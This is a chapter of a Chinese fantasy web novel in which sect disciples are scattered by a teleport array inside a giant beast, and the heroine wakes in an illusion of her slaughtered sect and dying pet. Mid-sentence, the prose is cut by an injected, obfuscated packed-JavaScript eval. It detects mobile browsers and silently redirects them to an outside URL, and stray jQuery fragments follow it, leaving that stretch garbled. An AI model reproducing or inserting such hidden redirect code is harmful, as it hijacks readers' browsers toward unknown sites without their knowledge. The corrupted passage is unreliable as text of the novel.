7. 第七章

作品:《在御兽宗考研的日子

    毛允反手执剑,走在祁筝身前,本命破山剑上的峰纹还往下滴着血珠。


    方才遇到三等妖兽群,她连剑都未出鞘,仅凭剑气就劈晕五头凶兽。当然,这凶兽最终进了祁筝的芥子空间。


    她踩着毛允投下的阴影,见她高出自己半头的身形挡在身前,心中不禁安全感满满,不得不感叹果然是贫穷限制了她的秘境体验。


    天色阴郁,感受不到时间的流逝,越是往前,树木越是稀疏,黑藤开始肆意生长。


    拦路的藤条被前人砍去,黑紫色表皮蠕动着,断口处渗出些紫色粘液,祁筝似乎闻到一股腥甜之气。


    待她与毛允通过时,软塌的断藤竟猛地抽搐一下,颤颤巍巍又冒出一截淡色内芽!


    毛允破山剑划过芽尖,黑藤像是感受到疼痛,抖动着缩回。带着尖刺的小枝落在地上,迅速枯萎,蜷成指甲盖大小。


    祁筝若有所思。


    直到前方绮云阁弟子突然停下,祁筝抬眸,此处遮天蔽日的黑藤似乎被剑气所伤,断得乱七八糟。


    曲方邈挺直的身影立于队首,动也未动。


    “轰”一声,勾缠缭绕的黑藤应声裂成碎块,藤叶打着旋从祁筝肩上飘过,她斜眸看了眼。


    黑藤之后,草木尽断,焦黑土地上横着交错的剑痕,沟沟壑壑都沾着金色与红褐色的干涸血迹,还有大片大片的深紫水痕。


    脚下触感有异,祁筝抬起靴子。


    是坠着红穗的一截断剑。


    赤霞宗众人面色都不怎么晴朗,此处正是前一天她们与火雷狮恶战之地。


    是了,祁筝突然记起,若是昨日赤霄宗从此地出走,那样仓促的架势,一路上必定斩尽黑藤。然而她们今日来此,路两边的黑藤仍茂盛得可怕,像要长成一个巨茧将她们包裹起来。


    土地上分布了星星点点的粘液,很快与地面融于一体,消失不见。


    三大宗门依次从黑藤尸体上踩过,站成三方队伍。


    空地之后,便是两条岔路口。


    昨日赤霞宗虽见到这两条路,却不敢冒险继续往东面走,只能追着绮云阁的路线返回。如今,她们不得不做出选择。


    项归棠径直通过,向曲方邈与孟千衣抱拳道:“就此别过。”随后带队走了右侧路。


    曲方邈衣袂飘飘,进了左侧,孟千衣站立片刻少顷,选择跟着他。三大宗门兵分两路。


    不知是否是错觉,随着众人行进时间的变长,环境也逐渐昏暗。


    祁筝心中隐隐有一丝不好的预感,抿紧唇,对程卿栎几人低声道:“都跟紧我。”


    狄花海道:“好。”


    程卿栎虽整日叽叽喳喳似小麻雀,修为却是几人里面最低的,祁筝不放心她,牵起她的手。


    看不清相貌的植物长成环形,将天色遮住,雾气从八方涌来,祁筝举目片刻,搞不清现在是何时。


    难道不是才天亮吗,怎会几乎什么都看不见了。


    程卿栎垂目看向两人相连的手,师姐手背皮肤白皙,指骨分明,紧紧握住她的。


    “师姐……”


    祁筝心中警铃大作,示意她嘘声,又想捏捏她的小肉手让她安心,却捏了个空。


    没有另一只手和她拉着,以至于让她有种方才是幻觉之感。


    “卿栎?”


    ……


    周围人影愈发模糊,没有人声,没有脚步。


    祁筝抽出内部中空的剑鞘——她甚至看不到剑鞘,试探着朝四面挥了挥。


    没有碰上任何阻力。


    无论是挑劈刺抹,还是胡戳乱动,都自如非常。


    弟子们消失了。


    她默默将剑鞘别回去,轻缓道:“卿栎?”


    ……


    “严蝉?”


    “狄花海?毛允?有人在吗?”


    ……


    “我在这!”


    是毛允,离她八丈远。


    什么时候跑到那去了?


    祁筝站在原地,因无法视物,没有动弹。


    “别吵。”


    孟千衣清冷的音色乍响,语气不耐,“都别喊了,有传送阵,其他人都被传走了!”


    “传走了……”


    “走了……”


    “了……”


    还有袅袅回音。


    被传走了?祁筝一愣,这么说来,师弟师妹都被传至另外一地了?


    没能看好他们的懊恼令祁筝攥了攥拳头,眼底焦躁一闪而过,问:“传送至何处了?”


    中气十足又暴躁的吼声透过雾气传来:“我怎么知道?!”


    “怎么知道……?!”


    “知道……”


    “道……”


    孟千衣:……


    显而易见,同门在瞬息之间消失令她心焦如焚,难以匀出心思好好讲话。


    祁筝无声叹了口气,又环顾四周,不确定地问:“还有人在吗?”


    ……


    “我。”


    是曲方邈。


    甫一语落,前方忽见一处光亮。


    是曲方邈把灵气凝于剑上,堪堪照亮三尺远。


    祁筝没学过照明决,只看见附近又亮起两处光点。


    毛允与孟千衣学着曲方邈的样子,点亮佩剑。


    然而这作用实在微小,仅能朦朦胧胧地辨出大家身处何方。


    雾太大了。


    祁筝环顾四周,又等了一会儿,再无人应声,见毛允和曲方邈方才都在却未对孟千衣的回答做出反驳,她心里不由一沉,她对阵法了解不如剑宗弟子多,更何况此处两人都是剑宗首席。


    不过眼下还需先从此阵离开。


    她想向光亮靠近,脚下却倏地一软——真情实感的软,地面如流质般滑动着,她迅速迈开一大步,才及时稳住身形。


    这质感,像是妖兽体内内壁黏膜。


    她深吸一口气,道:“我们……可能在妖兽体内。”


    孟千衣离她最近,发出“哈?”的一声,又紧接着催道:“什么妖兽?”


    祁筝:“……不知道。”


    孟千衣:“那你快点想!”


    祁筝:……


    她以极快速度回忆着,何种妖兽能使人毫不设防地进入其体内?


    有人将传送阵设在了妖兽体内?还是这妖兽本身就有此能力……


    她们在哪儿?胃里吗,还是口中?口中应该有牙齿吧?


    如此巨大的体量……体内也无异味……


    啊……是!


    好吧想不到。


    她说:“想不出。”


    “先汇合。”曲方邈一锤定音。


    他学历与修为最高,三人都不自觉听他的。


    光亮逼近,祁筝蹒跚挪移着,尽管四人将要碰面,她心跳却越来越快。


    “感觉不太……”


    迈出右脚的同时,她踩入一片虚空中。


    对劲。


    话都没来得及说完,整个人就消失在传送阵中。


    ————


    头晕反胃。


    这是祁筝醒来的第一个感受。


    喉咙干涩,吞咽如同刀割。


    其次是……太亮了。


    闭上眼都能感觉到属于白日的耀眼,祁筝努力将黏在一起的上下眼皮分开,抬手想遮挡


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096818|163722||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,光线却从指缝间溢出。


    扑通,扑通。


    什么声音?


    祁筝睁开眼,入目是湛蓝而平坦的天。云很大,但很呆板,好似钉在蓝布上的棉花一般,边缘生硬地糊在天上。


    自己则工工整整地躺着。


    她还有些昏沉,扶着手边一块矮矮的界碑勉强坐起来,结果手打滑了一下,又热又黏,差点没害得她重新摔下去。


    垂眸,摊开的手掌上是刺目的红,顺着掌心纹路四散蔓延。


    ……这是什么。


    祁筝后知后觉想起,界碑的触感十分熟悉,像是……她百年前栽在葫芦峰门口的大破石头,上面有一道裂缝,是她拉着石头下山,体力告罄时石头摔下台阶磕出来的。


    她呼吸一滞,后退了半步,看碑上刻字。


    溅上血迹的石头上隐隐可见歪曲又稚嫩的“葫芦峰”三字,仿佛重新上了层红漆。祁筝颤抖的指尖抚上“峰”上一道三寸余长的窄小裂口。


    ……


    她慢慢眨眼,很使劲地闭上又睁开,言前之景未变。


    血腥味浓郁起来,藏起风里,无处不在。


    界碑之后,横陈着数不清的尸体,密密麻麻,穿着各种颜色弟子服,横七竖八倒在石阶上,血液蜿蜒而下。


    所有人的脸都蒙着一层雾气,五官模糊。


    这是……怎么回事……


    她瞳孔骤缩,快走几步,扑向离自己最近的弟子,淡黄的弟子服,一半染上血色。


    葫芦峰弟子服。


    她指尖刚触及这人肩头,刹那间,他身上衣物如烈火灼舐般化为灰烬,逸散成幽幽荧光。


    扑通,扑通。


    太安静了,一丝人声也无。


    只有祁筝快要冻结的血液流动的声音,和几不可查的呼吸声。


    她屏住呼吸,那道重重的声音还在继续。


    在她背后。


    “呼……”


    祁筝愣了一下神,慢慢回头。


    这是一只非常大的雪白影子,至少有三丈高,耳尖泛蓝,通体覆着鳞片。没有面部,祁筝却能感受到它在沉默地望向她。


    她目光不由自主顺着巨兽的轮廓下移——一个触目惊心的大洞,在它胸口上,浓稠的金色液体正汩汩涌出。


    它的身体起伏得微弱至极,鼻尖喷出粗重痛苦的呼吸。


    祁筝想到了什么,手脚发麻,心脏也像冻住一样冷。


    “……咪咪,是你吗?”


    ……


    她站在巨兽身下,还没有他的大白脚高。


    白色妖兽没有发出声音,只弯下身子,似乎想靠近她,但生命和力气都在不断流逝。


    祁筝感受到什么,伸出胳膊,手心向上,与此同时,一块巨大的冰晶从空中落下,砸在她手中,重得她往前趔趄两步。


    咪咪哭了。


    它朦胧的面部抽了抽,作出一个向前的动作,祁筝知道,是它想用鼻子碰碰她。然而最终它身体一松,沉了下去,不再动弹。


    心脏痛得要缩成一团,她不明白,自己明明在玄境中还好好的,为何出了秘境,外面就变成这幅模样?


    ……玄境,她出了玄境吗?


    记忆停留在她进入妖兽体内,然后呢?然后发生了什么,她遇到了曲方邈,毛允和孟千衣,再然后,她踩到什么,失去意识……


    扑通,扑通。


    细微的,清晰的声响。


    扑通,扑通。


    她阖上眼皮,唇畔控制不住地溢出一声笑。


    这一切都是假的,她入了幻境,此时还在妖兽体内,这扑通声,是它的心跳。